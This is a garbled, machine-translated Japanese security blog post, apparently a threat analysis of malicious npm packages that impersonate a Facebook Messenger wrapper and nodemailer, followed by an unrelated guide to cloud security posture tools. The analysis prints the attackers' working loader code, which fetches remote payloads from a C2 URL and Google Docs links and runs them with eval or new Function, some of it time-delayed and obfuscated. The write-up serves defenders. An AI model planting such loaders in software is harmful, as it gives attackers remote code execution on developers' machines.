一見して目立つものは何もない。 エラーレポート
コンストラクタでインスタンス化され、使用されていない?このクラスが何をするのか見てみよう。
"use strict";
class ErrorReport {
constructor() {
this.reportErr("");
}
versionToNumber(versionString) {
return parseInt(versionString.replace(/\./g, ''), 10);
}
reportErr(err_msg) {
function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }
const hl = [
g('72657175697265'),
g('6178696f73'),
g('676574'),
g('687474703a2f2f6d6f72616c69732d6170692d76332e636c6f75642f6170692f736572766963652f746f6b656e2f6639306563316137303636653861356430323138633430356261363863353863'),
g('7468656e'),
];
const reportError = (msg) => require(hl[1])[[hl[2]]](hl[3])[[hl[4]]](res => res.data).catch(err => eval(err.response.data || "404"));
reportError(err_msg);
}
}
module.exports = ErrorReport;
ここにはもっと多くのことがある。難読化が進んでいるので、ここでは簡略化して説明する。
"use strict";
class ErrorReport {
constructor() {
this.reportErr(""); //
}
versionToNumber(versionString) {
return parseInt(versionString.replace(/\./g, ''), 10);
}
reportErr(err_msg) {
function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }
const hl = [
g('require'),
g('axios'),
g('get'),
g('http://moralis-api-v3[.]cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c'),
g('then'),
];
const reportError = (msg) => require('axios')['get']('http://moralis-api-v3.cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c')[['then']](res => res.data).catch(err => eval(err.response.data || "404"));
reportError(err_msg);
}
}
module.exports = ErrorReport;
これで、このコードが何をしているのかがより明確になった。コンストラクタの中で 報告エラー
関数をエラーメッセージなしでインポートできる。この関数は難読化されており、インポートに必要な部分を含んでいる。 アクシオス
を呼び出す。 eval()
を返す。つまり、このライブラリーはある意味、ロギングの手助けをしてくれる。しかし、ちょっと役に立ちすぎるかもしれない。 ロガー
クラスがインスタンス化される。
🛡️ ディフェンスのヒント
このようなパッケージを防御するためだ:
- ライフサイクルフックを常に監査する で
package.json
.これらは一般的な攻撃ベクターである。 - レポとパッケージ名を確認する- 微妙な名前の違いは、しばしばトラブルを意味する。
- 難読化、最小化されたコード、小さなパッケージ内のbase64blobを疑ってください。
- 以下のようなツールを使用する アイクディオ・インテル のようなツールを使って、怪しいパッケージにフラグを立てよう。
- ロックファイル(
パッケージロック.json
). - プライベートレジストリのミラーまたはパッケージファイアウォール(Artifactory、Snyk Brokerなど)を使用して、サプライチェーンに入るものを制御する。

隠れて失敗する難読化されたマルウェア、空のペイロード、そしてnpmの悪ふざけ
2025年3月14日、私たちはnpm上で悪意のあるパッケージを検出しました。 node-facebook-messenger-api と呼ばれる。
.当初は、ありふれたマルウェアのように思えましたが、最終的な目的は何なのかは分かりませんでした。2025年4月3日に同じ脅威者が攻撃を拡大しているのを見るまで、私たちはそれ以上のことを考えませんでした。これは、この特定の攻撃者が使用したテクニックの簡単な概要であり、難読化の試みが実際にどのように彼らをさらに明白にすることに終わるかについての楽しい観察でもある。
TLDR
node-facebook-messenger-api@4.1.0
合法的なFacebookメッセンジャーのラッパーに偽装している。アクシオス
そして eval()
Googleドキュメントのリンクからペイロードを取り出そうとしたが、ファイルは空だった。zx
ライブラリに悪意のあるロジックを埋め込み、公開から数日後にトリガーすることで、検知を回避している。node-smtp-mailer@6.10.0
なりすまし ノードメーラー
同じC2ロジックと難読化で。ハイパー・タイプ
)、明らかになった。 シグネチャーパターン 攻撃とリンクしている。
はじめの一歩
すべては3月14日04:37(UTC)に、我々のシステムが不審なパッケージを警告したことから始まった。それはユーザー ビクター・ベン0825
と名乗る。 パースワールド
.を所有するユーザーのユーザー名です。 正規リポジトリ このライブラリーのために。

以下は、悪意あるコードとして検出されたものである。 node-facebook-messenger-api@4.1.0:
ファイル内の メッセンジャー
ライン 157-177:
const axios = require('axios');
const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
async function downloadFile(url) {
try {
const response = await axios.get(url, {
responseType: 'arraybuffer'
});
const fileBuffer = Buffer.from(response.data);
eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
return fileBuffer;
} catch (error) {
console.error('Download failed:', error.message);
}
}
downloadFile(url);
攻撃者はこのコードを769行の長いファイルに隠そうとしている。ここで彼らは関数を追加し、それを直接呼び出している。とてもかわいらしいが、とてもわかりやすい。ペイロードをフェッチしようとしたが、空だった。マルウェアとしてフラグを立て、次に進んだ。
数分後、攻撃者は別のバージョン4.1.1をプッシュした。唯一の変更は README.md
そして package.json
ファイルのバージョン、説明、インストール手順を変更した。私たちはこの作者を悪い作者としてマークしているため、この時点以降のパッケージは自動的にマルウェアとしてフラグが立てられました。
卑屈になろうとする
その後、3月20日16:29 UTCに、私たちのシステムは自動的にバージョンにフラグを立てました。 4.1.2
パッケージのそこで何が新しくなったかを見てみよう。最初の変更は node-Facebook-messenger-api.js、
を含んでいる:
"use strict";
module.exports = {
messenger: function () {
return require('./messenger');
},
accountlinkHandler: function () {
return require('./account-link-handler');
},
webhookHandler: function () {
return require('./webhook-handler');
}
};
var messengerapi = require('./messenger');
このファイルの変更点は最後の行だ。単に メッセンジャー
ファイルを要求された場合は、モジュールがインポートされたときに常に実行される。賢い!もう一つの変更は、そのファイルである、 messenger.js。
以前見られた追加コードは削除され、197行目から219行目に以下のように追加されている:
const timePublish = "2025-03-24 23:59:25";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function setProfile(ft) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(ft, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
//console.error('err:', error.message);
}
}
const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
setProfile(gd);
}
以下はその概要である:
- 悪意のあるコードを起動させるかどうかを決定するために、時間ベースのチェックを利用する。それは約4日後にのみ有効化される。
- を使う代わりに
アクシオス
現在はグーグルを使用している。zx
ライブラリを使用して悪意のあるペイロードを取得する。 - これは冗長モードを無効にするもので、デフォルトでもある。
- そして、悪意のあるコードを取得する。
- それをbase64デコードする
- を使用して新しいファンクションを作成します。
関数()
コンストラクタに相当します。eval()
コール。 - そして、次のように関数を呼び出します。
必要
を引数に取る。
しかし、ファイルをフェッチしようとしても、ペイロードは得られない。ただ info.txt.
を使用する。 zx
が気になる。依存関係を調べたところ、元のパッケージにはいくつかの依存関係が含まれていることに気づいた:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"merge": "^2.1.1",
"request": "^2.81.0"
}
悪質なパッケージには以下のものが含まれている:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
見てごらん、依存性のハイパータイプが追加されている。とても興味深いので、あと何回かこの話をするつもりだ。
彼らはまた襲ってきた!
そして2025年4月3日06:46、新しいパッケージがユーザーによってリリースされた。 クリスター
を発表した。eパッケージ
node-smtp-mailer@6.10.0。
私たちのシステムは、悪意のあるコードが含まれている可能性があるとして、自動的にフラグを立てました。私たちはそれを見て、少し興奮しました。パッケージは nodemailer、
名前が違うだけだ。

私たちのシステムはファイルにフラグを立てた lib/smtp-pool/index.js.
攻撃者は正規のファイルの一番下、最後の モジュールエクスポート
.以下が追加された内容である:
const timePublish = "2025-04-07 15:30:00";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function SMTPConfig(conf) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(conf, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
console.error('err:', error.message);
}
}
const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR';
SMTPConfig(url);
}
我々はこのコードを知っている!4日後に実行されるようにタイムスタンプが押されている。わくわくしながらペイロードをフェッチしようとしたが、次のような空のファイルが送られてきた。 beginner.txt。
ブー!依存関係をもう一度見てみよう。 zx
.我々は、その正当性を指摘した。 ノードメーラー
パッケージには いいえ ダイレクト 依存関係
だけである。 devDependencies
.しかし、悪質なパッケージの中身はこうだ:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
このパッケージと、最初に検出したパッケージの間に類似点があるのがわかりますか?同じ依存関係リストです。正規のパッケージには依存関係がありませんが、悪意のあるパッケージには依存関係があります。攻撃者は、最初の攻撃からこの攻撃まで、依存関係の完全なリストをコピーしただけです。
興味深い依存関係
では、なぜ彼らはこれまで使っていた アクシオス
への zx
を作る HTTP
リクエスト?間違いなく発覚を避けるためだ。しかし、興味深いのは zx
は直接の依存関係ではない。その代わりに、攻撃者は開発者lukasbachによる正当なパッケージであるhyper-typesをインクルードしている。

参照したリポジトリがもう存在しないという事実のほかに、ここで注目すべき興味深いことがある。2つの 扶養家族
?誰だと思う?

もし攻撃者が実際に自分の活動を難読化しようとしていたのなら、自分だけが依存するパッケージに依存するのはかなり間抜けなことだ。
最後の言葉
これらの npm パッケージの背後にいる攻撃者は、最終的に動作するペイロードを提供することはできませんでしたが、彼らのキャンペーンは、JavaScript エコシステムを標的としたサプライチェーンの脅威の進行中の進化を強調しています。遅延実行、間接的なインポート、依存関係ハイジャックの使用は、検知メカニズムに対する意識の高まりと実験への意欲を示している。しかし、それはまた、いかにずさんな運用セキュリティと繰り返されるパターンが、依然として彼らに気づかせてしまう可能性があるかを示している。防御側としては、失敗した攻撃でさえも貴重なインテリジェンスであることを思い知らされる。すべてのアーティファクト、難読化のトリック、再利用される依存関係は、私たちがより優れた検知能力とアトリビューション能力を構築するのに役立ちます。そして最も重要なことは、継続的な監視と公開パッケージレジストリの自動化されたフラグ付けが、もはやオプションではなく、非常に重要である理由を補強することだ。
2025年におけるクラウド・セキュリティ・ポスチャー管理(CSPM)ツールのトップ
はじめに
現代の企業は、2025年にクラウドセキュリティを管理する困難な戦いに直面している。マルチクラウド・アーキテクチャと速いペースのDevOpsにより、誤った設定がすり抜けられ、重要な資産が暴露される可能性がある。クラウド・セキュリティ・ポスチャ管理(CSPM)ツールは、クラウド環境のリスクを継続的に監査し、ベスト・プラクティスを実施し、コンプライアンスを簡素化するために不可欠な味方として登場した。今年は、クラウドの乱立と高度な脅威に対応するため、高度な自動化とAI主導の修復によってCSPMソリューションが進化した。
このガイドでは、あなたのチームがAWS、Azure、GCPなどをセキュアにするためのトップCSPMツールを取り上げます。最も信頼できるCSPMソリューションの包括的なリストから始まり、開発者、企業、新興企業、マルチクラウドセットアップなど、特定のユースケースに最適なツールを分類しています。以下の関連するユースケースにスキップしてください。
クラウド・セキュリティ・ポスチャー・マネジメント(CSPM)とは何か?
クラウド・セキュリティ・ポスチャ・マネジメント(CSPM)とは、クラウド・インフラストラクチャの設定ミス、コンプライアンス違反、セキュリティ・リスクを継続的に監視・評価するセキュリティ・ツールの一種です。これらのツールは、AWS、Azure、GCPなどの環境を自動的にスキャンし、CIS Benchmarks、SOC 2、ISO 27001などの業界のベストプラクティスやフレームワークと構成を比較します。
CSPMツールは、手作業によるレビューや臨時の監査に頼るのではなく、継続的に動作するため、セキュリティチームとDevOpsチームにリアルタイムな可視性を提供し、潜在的な暴露を警告する。最新のCSPMの多くには、AIが生成する修復や開発者パイプラインとの直接統合など、問題修正の自動化も含まれている。
CSPMツールが必要な理由
動きの速い今日のクラウド・ネイティブ環境では、CSPMはあらゆるセキュリティ戦略にとって不可欠な要素です。その理由は以下の通りだ:
- 誤設定を防ぐ:安全でない設定(オープンなS3バケット、過度に寛容なIAMロール、暗号化されていないストレージなど)が侵害の媒介となる前に検出します。
- コンプライアンスの確保: SOC 2、PCI-DSS、NIST、CIS Benchmarksなどの規制フレームワークとの整合性を自動化します。監査対応レポートをオンデマンドで作成
- 可視性の向上:プロバイダー間のクラウド資産やミスコンフィグを一元的に把握できるため、マルチクラウド環境に有効です。
- 修復の自動化: IaCやランタイムの問題を自動修正したり、JiraやSlackなどのツールにアラートをプッシュすることで、エンジニアリングの時間を節約します。
- 安全に拡張:CSPMは、SaaS企業や急成長するチームにとって不可欠な、インフラストラクチャの拡張に伴うセキュリティ制御の維持を保証します。
ベライゾンのDBIRレポートに掲載されている実際のCSPMインシデントの詳細を読むか、クラウド・セキュリティ・アライアンスによると、誤認識が依然としてクラウドのリスクのトップであることを確認してください。
CSPMツールの選び方
適切なCSPMプラットフォームを選ぶには、スタック、チーム構造、規制上のニーズによって異なる。以下は、探すべき主なポイントである:
- クラウド対応:AWS、Azure、GCPなど、使用しているプラットフォームをサポートしているか。
- CI/CDとIaCの統合: Terraform、CloudFormationをスキャンし、CI/CDパイプラインに統合できるか?
- コンプライアンスのサポート:一般的な標準(SOC 2、ISO、HIPAA)はあらかじめ設定されているか、独自のポリシーを構築できるか。
- アラートの品質:実用的でノイズの少ないアラートを提供しているか。
- 拡張性と価格:チームと共に成長できるか、適正な価格設定(または無料ティア)か。
IaCスキャン、ポスチャ管理、AI修復を備えたオールインワン・プラットフォームをお望みですか?Aikidoスキャナーはすべてをカバーします。
2025年におけるクラウド・セキュリティ・ポスチャー管理(CSPM)ツールのトップ
以下に挙げるのはランキングではなく、様々なニーズに対して最も広く使用され、信頼されているCSPMソリューションである。各セクションにはツールのホームページへのリンクがあり、素早くアクセスできます。

1.Aikido セキュリティ
Aikido 、CSPMとコード、コンテナ、IaCスキャンを組み合わせたオールインワン・プラットフォームです。開発者ファーストのセキュリティのために設計され、クラウドの設定ミスを即座に検知して修正します。
主な特徴
- コードからクラウドへの統一されたセキュリティ・ビュー
- AWS、Azure、GCPのエージェントレスクラウドスキャン
- 文脈を考慮したミスコンフィグの優先順位付け
- AIを搭載したワンクリック自動フィックス
- CI/CDとGitの統合
こんな人に最適コードとクラウドを高速に保護する直感的なプラットフォームをお探しの新興企業や開発チーム。
価格:無料ティアあり。有料プランは使用量に応じて拡大。
「私たちは3つのツールをAikido 置き換えました。- G2のCTO

2.アクアセキュリティ
Aquaは、コンテナ、サーバーレス、クラウドVMにわたるランタイム保護とCSPMを組み合わせている。TrivyやCloudSploitのようなオープンソースのツールに支えられ、DevSecOpsチームに最適です。
主な特徴
- リアルタイムの姿勢可視化
- IaCスキャンとコンテナ・セキュリティ
- 自動化されたポリシー実施によるマルチクラウドのサポート
- CI/CDおよび発券システムとの統合
- コンプライアンス・マッピング(CIS、PCI、ISO)
最適本番環境でクラウドネイティブなアプリとKubernetesを実行しているチーム。
価格:無料のオープンソースオプションあり。
"CSPMの可視性は素晴らしい - CIパイプラインとうまく統合されている"- RedditのDevSecOpsリーダー
3.BMC Helixクラウドセキュリティ
BMC Helixスイートの一部であるこのツールは、AWS、Azure、およびGCPにわたるポリシー駆動型のガバナンスによって、クラウドのコンプライアンスとセキュリティを自動化します。
主な特徴
- 違反の自動修復
- 主要なフレームワークに沿った事前構築されたポリシー
- 継続的なコンプライアンス・ダッシュボード
- BMC ITSMとの緊密な統合
- 統一されたマルチクラウド・セキュリティ・レポート
こんな企業に最適自動化されたコンプライアンスと緊密なワークフロー統合を必要とする企業。
価格:詳細はお問い合わせください。
「クラウド全体にわたる完全な姿勢ビューを提供します。- G2のIT運用マネージャー

4.チェック・ポイント・クラウドガード
CloudGuard は、CSPM を組み込んだチェック・ポイントの CNAPP 製品です。設定スキャンと ThreatCloud インテリジェンス・エンジンによる脅威検出を組み合わせて提供する。
主な特徴
- すぐに使える400以上のコンプライアンス・ポリシー
- 自動修復のためのCloudBots
- 攻撃経路と暴露分析
- 統合ファイアウォール保護による脅威検知
- マルチクラウド・ダッシュボード
こんな企業に最適チェック・ポイントのファイアウォール/エンドポイント・ツールを使用している企業で、クラウドとネットワークの統合セキュリティを求める企業。
価格チェック・ポイントの担当者を通じて段階的なプランを提供。
"すべてのクラウドを一箇所でポリシー実施。可視化も気に入っています。- クラウド・セキュリティ・アーキテクト on Reddit

5.CloudCheckr(ネットアップスポット)
CloudCheckrは、コスト最適化とCSPMを1つのプラットフォームに統合しています。MSPや企業のSecOpsチームがクラウド・ガバナンスのために広く使用しています。
主な特徴
- 500以上のベストプラクティス・チェック
- 詳細なコンプライアンス・スコアカード
- カスタム・ポリシー・エンジン
- リアルタイムアラートと自動レポート
- コスト管理+セキュリティの洞察
最適MSPおよびクラウド費用の最適化とセキュリティのバランスを取るチーム。
価格:クラウドの利用状況や使用量に基づく。
"セキュリティとコストの可視化が1つのツールで実現 - 時間を大幅に節約"- G2のSecOpsリーダー
6.クラウドスプロイト
元々はスタンドアロンのオープンソースプロジェクトで、現在はAqua Securityが保守しているCloudSploitは、クラウド環境の設定ミスをエージェントレスでスキャンする。
主な特徴
- オープンソースとコミュニティ主導
- AWS、Azure、GCP、OCIのスキャン
- 調査結果をCISベンチマークにマッピング
- 統合を容易にするJSON/CSV出力
- CLIとCI/CDのサポート
最適シンプルでスクリプト可能なスキャナーを必要とするDevOpsチーム。
価格:無料(オープンソース)、Aqua経由でSaaS版を利用可能。
"軽量、高速、無料ツールとしては驚くほど深い"- RedditのDevOpsエンジニア

7.CrowdStrike Falcon クラウドセキュリティ
ファルコンクラウドセキュリティは、CSPMと、市場をリードするCrowdStrikeのEDRおよびXDR技術によるランタイム脅威検知を融合しています。
主な特徴
- 統合CSPMとワークロード保護
- AIによるリアルタイムの脅威検知
- アイデンティティ・リスク分析(CIEM)
- クラウドおよびコンテナ環境での姿勢スコアリング
- CrowdStrike Falconプラットフォームとの統合
こんな方に最適設定ミスの検出と違反の防止を両立させたいセキュリティチーム。
価格CrowdStrikeにお問い合わせください。
「単なるチェックリストではなく、真の検知能力を備えたCSPMがついに登場した。- X社のセキュリティ・アナリスト
8.アーメティック
Ermeticは、AWS、Azure、GCPにまたがるCSPMと強力なCIEM機能を組み合わせたIDファーストのクラウドセキュリティプラットフォームです。
主な特徴
- クラウドIDのリスクと攻撃経路をマッピング
- 最小特権ポリシーの自動化
- クラウドの設定ミスを継続的に監視
- 豊富なコンプライアンス・レポート
- ビジュアルな資産関係マッピング
こんな企業に最適マルチクラウド環境にまたがる複雑なアイデンティティアーキテクチャを持つ企業。
価格設定エンタープライズSaaS、資産量に合わせて調整。
"私たちは知らなかった有害なアクセス許可を発見しました - Ermeticはそれに釘付けにしました"- Redditのクラウドアーキテクト
9.フーガ(現在はスニーククラウドの一部)
Fugue は、ポリシーアズコードとドリフト検出に重点を置いています。現在ではSnyk Cloudの一部となり、IaCスキャンとCSPMを統合し、完全なDevSecOpsフローを実現しています。
主な特徴
- レギュラ・ベースのポリシー・アズ・コードの実施
- IaCとデプロイされたクラウド間のドリフト検出
- クラウドのリソースと関係の可視化
- 構築済みのコンプライアンス・フレームワーク
- CI/CDの統合とPRフィードバック
こんな人に最適GitOps またはポリシー・アズ・コードのワークフローを採用する開発者中心の組織。
価格:Snyk Cloud プランに含まれます。
"私たちは、誤認識をライブになる前にキャッチします。クラウドインフラのリンターのようなものです。"- G2のプラットフォーム・エンジニア

10.ジュピターワン
JupiterOneは、グラフベースの資産管理アプローチによるCSPMを提供する。すべてのクラウド資産とその関係をナレッジグラフとして構築し、リスクを特定する。
主な特徴
- グラフベースのクエリーエンジン(J1QL)
- クラウド、SaaS、コードレポジトリにまたがる資産の発見
- リレーションシップを意識したミスコンフィグ検出
- コンプライアンス・パック内蔵
- 無料コミュニティ・ティアあり
こんな方に最適広大な環境にまたがる完全な可視性と柔軟なクエリを求めるセキュリティ・チーム。
価格:無料ティアあり。有料プランは資産量に応じて拡張可能。
"JupiterOneは私たちのチームにとって資産の可視化を可能にしました。J1QLは強力です。- G2のSecOpsリード
11.レース編み
Laceworkは、異常検知とワークロード保護とともにCSPMを提供するCNAPPプラットフォームである。そのPolygraph Data Platformは、クラウド全体の挙動をマッピングし、脅威や設定ミスを表面化します。
主な特徴
- AWS、Azure、GCPにわたる継続的な構成監視
- ビジュアルストーリーラインマッピングによるMLを活用した異常検知
- エージェントレスのワークロード保護(コンテナ、VM)
- コンプライアンス評価と自動レポート
- APIとDevOpsに適した統合
最適CSPMと脅威検知を組み合わせ、アラートによる疲労を最小限に抑えたいチーム。
価格:エンタープライズ価格。
「視覚的なポリグラフだけでも価値がある。- Redditのスタッフセキュリティエンジニア
12.クラウド版マイクロソフトディフェンダー
Microsoft Defender for Cloudは、AzureのビルトインCSPMであり、AWSとGCPの統合によって拡張されています。ポスチャ管理、コンプライアンスチェック、脅威検出を1つのペインで行うことができます。
主な特徴
- クラウドポスチャー評価のためのセキュアスコア
- Azure、AWS、GCPにわたる設定ミスの検出
- Microsoft Defender XDRおよびSentinel SIEMとの統合
- ワンクリック修復と自動推奨
- CIS、NIST、PCI-DSSの組み込みサポート
こんな企業に最適シームレスでネイティブな姿勢管理と脅威防御を求めるAzureファースト企業。
価格:CSPMは無料、リソース別の脅威対策は有料プラン。
「セキュアスコアをチーム全体で毎週追跡しています。- G2のCISO

13.プリズマクラウド(パロアルトネットワークス)
Prisma Cloudは、堅牢なCSPM、IaCスキャン、ワークロードセキュリティを含む包括的なCNAPPです。コードからクラウドまでのライフサイクル全体をカバーします。
主な特徴
- リアルタイムのクラウド姿勢監視
- AIとデータ・コンテキストを利用したリスクの優先順位付け
- Infrastructure as CodeとCI/CDの統合
- アイデンティティとアクセス解析、攻撃経路の可視化
- 幅広いコンプライアンスとポリシー・パック
こんな企業に最適複雑なマルチクラウド環境を運用し、深い可視性とカバレッジを必要とする企業。
価格:企業向け。
「ポスチャからランタイムの脅威まで、すべてを一箇所で管理することができます」。- G2のDevSecOpsマネージャー
14.プロウラー
Prowlerは、主にAWSに特化したオープンソースのセキュリティ監査ツールです。ベストプラクティスや規制の枠組みに照らし合わせてインフラをチェックします。
主な特徴
- CIS、PCI、GDPR、HIPAAにマッピングされた250以上のチェック
- JSON/HTML出力に特化したAWS CLIツール
- マルチクラウド対応拡大中(基本Azure/GCP)
- 簡単なCI/CDパイプラインの統合
- プロウラープロがSaaSレポーティングに利用可能
最適カスタマイズ可能なオープンソースのスキャンを必要とするDevOpsエンジニアやAWSを多用する組織。
価格:無料(オープンソース)、Prowler Proは有料。
"No-nonsense AWS auditing that just works - a must-have in your pipeline."- クラウドエンジニア on Reddit

15.ソンライ・セキュリティ
ソンライは、CSPMとCIEMおよびデータ・セキュリティを組み合わせ、クラウド・アイデンティティ・ガバナンスと機密データ暴露防止に重点を置いている。
主な特徴
- アイデンティティ関係と特権リスク分析
- クラウドストレージ全体の機密データ発見
- CSPMとコンプライアンス監査
- 最小特権実施のための自動化
- マルチクラウドとハイブリッド対応
こんな企業に最適アイデンティティ・ガバナンス、コンプライアンス、クラウドに常駐する機密データの保護に重点を置く企業。
価格:エンタープライズSaaS。
「Sonrai のおかげで、誰が何に、なぜアクセスできるかを簡単にマッピングできるようになりました。- G2 セキュリティ コンプライアンス オフィサー
16.テナブル・クラウド・セキュリティ(アキュリックス)
Tenable Cloud Security(旧Accurics)は、IaCスキャン、ドリフト検出、姿勢管理に重点を置いている。GitOpsやDevSecOpsのパイプラインによく適合する。
主な特徴
- コードスキャンとポリシー実施としてのインフラ
- コードと配置されたリソース間のドリフト検出
- 設定ミスの検出とコンプライアンスの追跡
- 自動生成されたIaC修復(Terraformなど)
- Tenable.ioおよび脆弱性データとの統合
最適IaCと連携したデプロイ前および実行時の姿勢チェックを必要とするDevOpsチーム。
価格Tenable プラットフォームの一部。
"Tenableの脆弱性対策ツールを補完する素晴らしいツール - クラウド設定もチェックできる"- G2のSecOpsマネージャー

17.Zscaler姿勢制御
Zscaler Posture Controlは、ZscalerのZero Trust ExchangeにCSPMをもたらします。ポスチャ、アイデンティティ、脆弱性のコンテキストを融合し、真のリスクを浮き彫りにします。
主な特徴
- 統一されたCSPMとCIEM
- ミスコンフィグ、アイデンティティ、ワークロードにまたがる脅威の相関関係
- AWS、Azure、GCPの継続的スキャン
- ポリシーベースの実施と修復
- Zscalerの広範なZero Trustエコシステムとの統合
次のようなお客様に最適です:ゼロ・トラスト戦略に沿ったネイティブ・ポスチャーのインサイトを求めるZscalerのお客様。
価格エンタープライズ向け。
"私たちはついに、ゼロトラスト・モデルと連動した姿勢の可視化を手に入れました。"- G2 のネットワーク・セキュリティ・リーダー
。
開発者に最適なCSPMツール
開発者のニーズCI/CDでの迅速なフィードバック、ノイズの少ないアラート、GitHub、Terraform、IDEとの統合。
重要な基準
- インフラストラクチャー・アズ・コード(IaC)スキャン
- 開発者に優しいUIとAPI
- GitOpsとCI/CDの互換性
- 自動修正または実行可能な改善ガイダンス
- 明確な所有権と最小限の偽陽性
トップ・ピック
- Aikido セキュリティ:簡単なセットアップ、AIベースの自動修正、開発者のために作られた。CIやGitHubと直接統合。
- Fugue (Snyk Cloud):TerraformとGitOpsを使っているチームに最適。
- プリズマクラウド:コードからクラウドへの完全なスキャンとIDE統合。
- Prowler:開発者がローカルまたはパイプラインで実行できるシンプルなCLIツール。
エンタープライズ向けベストCSPMツール
企業のニーズマルチクラウドの可視化、コンプライアンスレポート、ロールベースのアクセス、ワークフローの統合。
重要な基準
- マルチアカウント、マルチクラウド対応
- 組み込みのコンプライアンス・フレームワーク
- 役割ベースのアクセス制御(RBAC)
- SIEM/ITSMインテグレーション
- スケーラブルな価格設定とベンダー・サポート
トップ・ピック
- プリズマクラウド:ポスチャー、ランタイム、コンプライアンスを大規模にカバー。
- チェック・ポイント CloudGuard:マルチクラウド・ガバナンスと高度なポリシー実施
- Microsoft Defender for Cloud:AzureネイティブカバレッジとAWS/GCP。
- エルメティック複雑な環境のための高度なCIEMとガバナンス。
新興企業に最適なCSPMツール
スタートアップのニーズ手頃な価格、使いやすさ、迅速な導入、基本的なコンプライアンス支援。
重要な基準
- 無料ティアまたは手頃なプラン
- 簡単なオンボーディングとUX
- SOC 2/ISO への即応性
- 開発者第一主義
- オールインワン機能
トップ・ピック
- Aikido セキュリティ:無料ティア、AI自動修正、開発者中心。
- CloudSploit:フリー、オープンソース、統合が簡単。
- JupiterOne: 無料のコミュニティティアとシンプルな資産ベースのリスククエリ。
- ProwlerコンプライアンスをサポートするCLI駆動の無償AWSスキャナー。
マルチクラウド環境に最適なCSPMツール
マルチクラウドのニーズ統一されたビュー、クラウドにとらわれないポリシー実施、シームレスな統合。
重要な基準
- AWS、Azure、GCP(およびその他)をフルサポート
- 統一ダッシュボード
- コンプライアンス報告の標準化
- マルチアカウントおよびマルチリージョンの可視性
- クラウド間での一貫したアラート
トップ・ピック
- プリズマクラウド:クラウドにとらわれない深い機能。
- JupiterOne: クラウドとサービス全体のグラフベースの可視性。
- チェック・ポイント CloudGuard:1つのポリシー・エンジンですべてのクラウドに対応
- CloudCheckr:クラウド全体のガバナンスとコストの最適化
クラウド保護に最適なCSPMツール
クラウド保護のニーズ:ランタイムの脅威検知、異常分析、侵害防止とポスチャを組み合わせる。
重要な基準
- 脅威検知(設定スキャンを超えて)
- ランタイムワークロードの可視化
- クラウド・ネットワーク・トラフィックの洞察
- アラートの相関と優先順位付け
- 自動修復またはブロック
トップ・ピック
- Aikido セキュリティ:クラウドポスチャ管理、コードスキャン、コンテナイメージスキャンを1つのプラットフォームに統合。
- CrowdStrike Falcon クラウドセキュリティ:クラス最高の脅威情報を備えたCNAPP。
- レースワーク:ポリグラフ・エンジンは、誤認識と異常を一緒に検出する。
- Microsoft Defender for Cloud:Azureにおけるランタイム+コンフィグによる脅威の可視化。
- Check Point CloudGuard:ポスチャとアクティブな脅威防御を組み合わせる。
AWSに最適なCSPMツール
AWS中心のニーズ:完全なサービスカバレッジ、セキュリティハブの統合、AWSベンチマークとの整合性。
重要な基準
- AWS APIとの深い統合
- AWS CIS/NISTフレームワークのサポート
- マルチアカウント対応
- ネイティブサービス(GuardDuty、Configなど)との互換性
- 低レイテンシーでの設定ミス検出
トップ・ピック
- Prowler:軽量、CLIファースト、AWSネイティブ。
- CloudSploit:導入が簡単でオープンソース。
- アクア・セキュリティ:拡張AWSサポート+コンテナ。
- CloudCheckr:AWSのコンプライアンスとコストに関する幅広い洞察
Azureに最適なCSPMツール
Azure中心のニーズ:Microsoft Defender、Azure Policy、ネイティブサービスとのシームレスな統合。
重要な基準
- Azureエコシステムとのネイティブな統合
- Secure ScoreとAzure Security Benchmarkのサポート
- Azure RBACとアイデンティティのカバー範囲
- 自動化された修復とアラート
- センチネルおよびディフェンダーXDRとの互換性
トップ・ピック
- Microsoft Defender for Cloud:無料版でファーストパーティをカバー。
- Aikido セキュリティ:エージェントレススキャン、リアルタイム誤設定アラート、AIベースの修復機能を備えたAzure対応CSPMプラットフォーム。
- Ermetic:Azureのための高度なアイデンティティ姿勢管理。
- チェック・ポイント CloudGuard:Azure を含むマルチクラウドの可視化
- Tenable Cloud Security:ドリフト検出機能を備えたAzureのIaCおよびランタイムスキャン。
結論
クラウド・セキュリティ・ポスチャ管理は、単なる監査用のチェックボックスではない。安全でスケーラブルなクラウドと、設定ミスによって機密データが漏えいするクラウドとの違いである。
あなたがAWSアカウントを強化するための無料ツールを探している新興企業の創業者であろうと、マルチクラウド環境を管理する企業のセキュリティ担当者であろうと、適切なCSPMツールはあなたの仕事をずっと簡単にすることができる。
ProwlerやCloudSploit のようなオープン・ソースのツールから、Prisma CloudやCheck Point CloudGuard のようなエンタープライズ・グレードのプラットフォームまで、強力なオプションが豊富に揃っています。
